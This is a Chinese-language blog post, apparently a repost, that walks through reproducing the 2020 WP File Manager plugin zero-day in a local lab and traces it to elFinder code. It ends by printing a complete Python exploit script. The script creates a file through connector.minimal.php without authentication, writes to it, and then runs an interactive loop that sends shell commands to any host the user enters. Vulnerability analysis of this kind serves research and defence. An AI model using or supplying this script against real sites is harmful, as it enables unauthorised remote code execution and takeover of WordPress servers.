WordPress文件管理器插件0day漏洞解析

发布日期:2020-09-10 浏览次数: 7726 次

昨天好多安全平台发布了WordPress插件WP File Manager的0day漏洞预警,然后我怀着好奇的心情解析了一波,花了些时间总算是解开了这个漏洞的神秘面纱。

从预警中可以看到漏洞在/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php,然后里面的关键代码说实话我一开始没看懂,大概意思就是两个文件包含,然后下面run elFinder。
为了弄懂这个我下载了WP File Manager插件6.0版本,下载地址:
https://wordpress.org/plugins/wp-file-manager/advanced/
然后搭建了一个WordPress5.3.2,用phpstrom调试审计这个插件。
先看了两个文件包含,其中一个./vendor/autoload.php文件是不存在的,另一个autoload.php也没什么特别的东西。

然后往下看,在然后我被41行这个给误导了

因为断点调试到这一行,就会跳转到一个叫elFinderConnector.class.php的文件里,然后在这个文件160行发现exec()函数,我以为关键点就在这里,然后一直研究这个函数,然后并没有什么实际发现。。。

然后 我开始怀疑人生,可能是我太菜了吧,挖不到漏洞,别人都说了这里有0day我都挖不到,我也太菜了吧。。。

当我快要放弃的时候,我又看了一眼漏洞预警,其中几个字打开了我的思路,“这段代码来自elFinder项目”,这个意思是不是说WP File Manager插件使用了elFinder项目的代码,然后elFinder有漏洞。

于是,我又去百度elFinder漏洞

emmmmmmm。。。。。竟然真有漏洞,还是个CVE,CVE-2019-9194
漏洞原理啥的没细看,这里贴一下https://xz.aliyun.com/t/4444
然后我就找找有没有poc可以用,从exp-db上搜索elFinder,发现一个远程代码实行的链接,打开看看。

发现里面的存在漏洞的文件connector.php跟预警的文件connector.minimal.php挺像的,因为connector.minimal.php是示例文件所以是示例名,实际上正式项目要改成connector.php。应该是这个意思

然后就下载这个poc来验证我搭建的环境。

因为前面说了那个WP File Manager插件的编辑直接搬运了elFinder的代码,所以连示例文件的名字都没有改,所以要稍微修改一下poc,将connector.php改成connector.minimal.php,然后将一句话改为eval,同时为方便调试将print的注释去掉

下面是漏洞验证环节:

可以看到在\wp-content\plugins\wp-file-manager\lib\files目录下成功生成了文件,内容为一句话。与漏洞预警中说明的目录是一样的。

以上操作都是在未登录的情况下,也就是说是未授权RCE。这里贴一下poc

以上操作都是在未登录的情况下,也就是说是未授权RCE。这里贴一下poc
  •  
 #[+] Author: TUNISIAN CYBER #[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability #[+] Date: 06-05-2015 #[+] Vendor: https://github.com/Studio-42/elFinder #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] Twitter: @TCYB3R #[+] Time Line: #   03-05-2015:Vulnerability Discovered #   03-05-2015:Contacted Vendor #   04-05-2015:No response #   05-05-2015:No response #   06-05-2015:No response #   06-05-2015:Vulnerability published  import cookielib, urllib import urllib2 import sys  print"\x20\x20+-------------------------------------------------+" print"\x20\x20| elFinder Remote Command Execution Vulnerability |" print"\x20\x20|                 TUNISIAN CYBER                 |" print"\x20\x20+-------------------------------------------------+"   host = raw_input('\x20\x20Vulnerable Site:') evilfile = raw_input('\x20\x20EvilFileName:') path=raw_input('\x20\x20elFinder s Path:')   tcyber = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))  create = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw') print create.read()  payload = urllib.urlencode({                            'cmd' : 'put',                            'target' : 'l1_'+evilfile.encode('base64','strict'),                            'content' : ''                            })  write = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php', payload) #print write.read() print '\n' while True:    try:        cmd = raw_input('[She3LL]:~# ')         execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))        reverse = execute.read()        print reverse;         if cmd.strip() == 'exit':            break     except Exception:        break  sys.exit()

 

转自:黑白之道

分享到:
×

微信扫一扫分享

XML 地图 | Sitemap 地图